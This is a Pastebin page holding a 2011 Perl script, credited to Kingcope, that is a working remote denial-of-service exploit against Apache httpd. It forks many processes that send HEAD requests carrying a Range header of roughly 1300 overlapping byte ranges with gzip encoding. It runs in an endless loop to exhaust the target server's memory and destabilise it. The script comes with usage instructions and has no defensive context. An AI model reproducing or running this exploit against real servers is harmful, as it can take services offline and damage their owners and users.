Pastebin launched a little side project called VERYVIRAL.com, check it out ;-) Want more features on Pastebin? Sign Up, it's FREE!
Guest

Kill Apache

By: a guest on Aug 24th, 2011  |  syntax: Perl  |  size: 1.32 KB  |  views: 756  |  expires: Never
download  |  raw  |  embed  |  report abuse  |  print
Text below is selected. Please press Ctrl+C to copy to your clipboard. (⌘+C on Mac)
  1. #Apache httpd Remote Denial of Service (memory exhaustion)
  2. #By Kingcope
  3. #Year 2011
  4. #
  5. # Will result in swapping memory to filesystem on the remote side
  6. # plus killing of processes when running out of swap space.
  7. # Remote System becomes unstable.
  8. #
  9.  
  10. use IO::Socket;
  11. use Parallel::ForkManager;
  12.  
  13. sub usage {
  14.         print "Apache Remote Denial of Service (memory exhaustion)\n";
  15.         print "by Kingcope\n";
  16.         print "usage: perl killapache.pl <host> [numforks]\n";
  17.         print "example: perl killapache.pl www.example.com 50\n";
  18. }
  19.  
  20. sub killapache {
  21. print "ATTACKING $ARGV[0] [using $numforks forks]\n";
  22.        
  23. $pm = new Parallel::ForkManager($numforks);
  24.  
  25. $|=1;
  26. srand(time());
  27. $p = "";
  28. for ($k=0;$k<1300;$k++) {
  29.         $p .= ",5-$k";
  30. }
  31.  
  32. for ($k=0;$k<$numforks;$k++) {
  33. my $pid = $pm->start and next;  
  34.        
  35. $x = "";
  36. my $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],
  37.                                  PeerPort => "80",
  38.                                          Proto    => 'tcp');
  39.  
  40. $p = "HEAD / HTTP/1.1\r\nHost: $ARGV[0]\r\nRange:bytes=0-$p\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n";
  41. print $sock $p;
  42.  
  43. while(<$sock>) {
  44. }
  45.  $pm->finish;
  46. }
  47. $pm->wait_all_children;
  48. print ":pPpPpppPpPPppPpppPp\n";
  49. }
  50.  
  51. if ($#ARGV < 0) {
  52.         usage;
  53.         exit;  
  54. }
  55.  
  56. if ($#ARGV > 1) {
  57.         $numforks = $ARGV[1];
  58. } else {$numforks = 50;}
  59.  
  60. while(1) {
  61. killapache();
  62. }